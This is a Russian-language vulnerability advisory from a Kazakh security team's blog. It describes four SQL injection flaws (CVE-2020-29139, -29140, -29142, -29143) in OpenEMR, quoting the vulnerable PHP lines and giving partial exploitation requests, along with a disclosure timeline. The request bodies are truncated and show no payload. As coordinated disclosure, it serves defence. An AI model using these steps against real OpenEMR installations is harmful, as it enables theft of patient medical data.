

## ИССЛЕДОВАНИЯ

- WEB
- BINARY




## БЛОГ

- НОВОСТИ
- В КАЗАХСТАНЕ

## ПО ТЕГАМ

- #PHD2019
- #ZN2019
- #CTF
- #Интервью
- #Фishing
- #Мошенничество
- #Алаяқтық
- #Сұбат
- #Interview
- #Fraud

ПРИСОЕДИНЯЙТЕСЬ К СООБЩЕСТВУ NITRO TEAM!

-  @nitroteamchat
-  nitroteamkz
-  nitroteam-kz

# Описание CVE-2020-29139, CVE-2020-29140, CVE-2020-29142, CVE-2020-29143 в OpenEMR 6.0.0-dev, OpenEMR 5.0.2(5)

WEB  
15.02.2021 0 8128



В ходе исследования движка для медицинских организаций [OpenEMR](#) с открытым исходным кодом были обнаружены 4 уязвимости типа SQL-инъекция.

Тестирование уязвимостей производилось на Windows 10, Apache 2.4, 10.322-MariaDB, PHP 7.1.33 для OpenEMR 5.0.2(5) и PHP 7.4 для OpenEMR 6.0.0-dev. Настоятельно рекомендуем обновиться до последней версии продукта.

CVE-2020-29139. SQL-инъекция из-за неправильной фильтрации параметра в файле library/patient.inc

Требования: аккаунт администратора

Уязвимый код: library/patient.inc:648

```
$where .= " " . add_escape_custom($val) . " like ? ";
```

Функция add\_escape\_custom() является оберткой для mysql\_real\_escape\_string(). Но как видно по коду, результат работы функции не обрамляется кавычками, что приводит к возможности инъекции SQL без кавычек.

Шаги для эксплуатации:

1. Отправить GET запрос с валидным токеном и куками:

```
GET /interface/main/finder/patient_select.php?csrf_token_form=639ee383724ab4de7bd56e47a454ea9cdeb6de5f1
Host: openemr60.kz
Cookie: OpenEMR=PoLYY6Y6%2CNwDDANwci5GfRdQXoer2ZkZ76e7PNHPJGTTc-eD;
```

Скриншот для версии 6.0.0-dev:



Скриншот для версии 5.0.2(5):



CVE-2020-29140. SQL-инъекция из-за неправильной фильтрации параметра в файле interface/reports/immunization\_report.php

Требования: аккаунт администратора

Уязвимый код: interface/reports/immunization\_report.php:129

```
$query_codes .= add_escape_custom($codes) . " ) and ";
```

Аналогичная ошибка использования функции фильтрации с CVE-2020-29139.

Шаги для эксплуатации:

1. Отправить POST запрос с валидным токеном и куками:

```
POST /interface/reports/immunization_report.php HTTP/1.1
Host: openemr60.kz
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Origin: https://openemr60.kz
Connection: close
Cookie: OpenEMR=PoLYY6Y6%2CNwDDANwci5GfRdQXoer2ZkZ76e7PNHPJGTTc-eD;

csrf_token_form=639ee383724ab4de7bd56e47a454ea9cdeb6de5f1&form_refresh=true&form_get_hl7=false&form_code%5
```

Скриншот для версии 6.0.0-dev:



Скриншот для версии 5.0.2(5):



CVE-2020-29142. SQL-инъекция из-за неправильной фильтрации параметра в файле interface/usergroup/usergroup\_admin.php

Требования: аккаунт администратора, глобальная настройка restrict\_user\_facility - on

Уязвимый код: interface/usergroup/usergroup\_admin.php:150

```
and facility_id not in (" . add_escape_custom(implode(", ", $POST['schedule_facility']) . ")", array($P
```

Шаги для эксплуатации:

1. Запустить следующий SQL запрос для включения глобальной настройки restrict\_user\_facility

```
UPDATE `globals` SET `gl_value` = '1' WHERE `globals`.`gl_name` = 'restrict_user_facility'
```

2. Отправить POST запрос с валидным токеном и куками:

```
POST /interface/usergroup/usergroup_admin.php HTTP/1.1
Host: openemr60.kz
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 420
Connection: close
Cookie: OpenEMR=F0LYY6Y6%2CNwDDANwci5GfRdQXoer2kz76e7PNHPJGTTc-eD;

csrf_token_form=639ee383724ab4de7bd56e47a454ea96cadeb6de6spre_active=1&get_admin_id=6&admin_id=6&check_acl=
```

Скриншот для версии 6.0.0-dev:



Скриншот для версии 5.0.2(5):



CVE-2020-29143. SQL-инъекция из-за неправильной фильтрации параметра в файле interface/reports/non\_reported.php

Требования: аккаунт администратора

Уязвимый код: interface/reports/non\_reported.php:85

```
$query_codes .= add_escape_custom($code) . ", ";
```

Шаги для эксплуатации:

1. Отправить POST запрос с валидным токеном и куками:

```
POST /interface/reports/non_reported.php HTTP/1.1
Host: openemr60.kz
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
Connection: close
Cookie: OpenEMR=F0LYY6Y6%2CNwDDANwci5GfRdQXoer2kz76e7PNHPJGTTc-eD;

csrf_token_form=639ee383724ab4de7bd56e47a454ea96cadeb6de6sform_refresh=true&form_get_hl7=false&form_from_d
```

Скриншот для версии 6.0.0-dev:



Скриншот для версии 5.0.2(5):



Выражаем благодарность Brady Miller за оперативный ответ и исправления!

Лог уязвимостей:

24.11.2020 – первое обнаружение в исходном коде

24.11.2020 – оповещение вендора об уязвимостях

25.11.2020 – подтверждение вендором

27.11.2020 – резервирование CVE-идентификаторов в MITRE

07.01.2021 – выход патчей

15.02.2021 – публикация в интернете

#Openemr #Sql-injection



Автор: manfromkz

Понравилась статья? Поделитесь с друзьями:



Вам также может быть интересно:

 06.12.2022

 0

 675

[CVE-2022-44153] XSS уязвимость в Rapid SCADA 5.8.4

WEB

Наш исследователь @clauncher обнаружил XSS уязвимость в программном обеспечении Rapid SCADA 5.8.4

 02.06.2022

 0

 5384

Множественные уязвимости в LibreHealth part 2

WEB

Во время стажировки в нашей компании, студенты нашли множественные уязвимости в LibreHealth: Broken Access Control (CVE-2022-31496), Cross-Site Scripting (CVE-2022-31492, CVE-2022-31493, CVE-2022-31494, CVE-2022-31495, CVE-2022-31497, CVE-2022-31498).

 04.05.2022


 0


 9326


Описание уязвимостей CVE-2022-29938, CVE-2022-29939, CVE-2022-29940 в LibreHealth

WEB

Наш исследователь нашел в LibreHealth EHR 2.0.0 множественные уязвимости, а именно 1 SQL-injection (CVE-2022-29938) и 2 Cross-site scripting (XSS) (CVE-2022-29939, CVE-2022-29940)

 15.02.2021

 0

 8129

Описание CVE-2020-29139, CVE-2020-29140, CVE-2020-29142, CVE-2020-29143 в OpenEMR 6.0.0-dev, OpenEMR 5.0.2(5)

WEB

В ходе исследования движка для медицинских организаций OpenEMR с открытым исходным кодом были обнаружены 4 уязвимости типа SQL-инъекция. Тестирование уязвимостей производилось на Windows 10, Apache 2.4, 10.3.22-MariaDB, PHP 7.1.33 для OpenEMR 5.0.2(5) и PHP 7.4 для OpenEMR 6.0.0-dev. Настоятельно рекомендуем обновиться до последней версии продукта.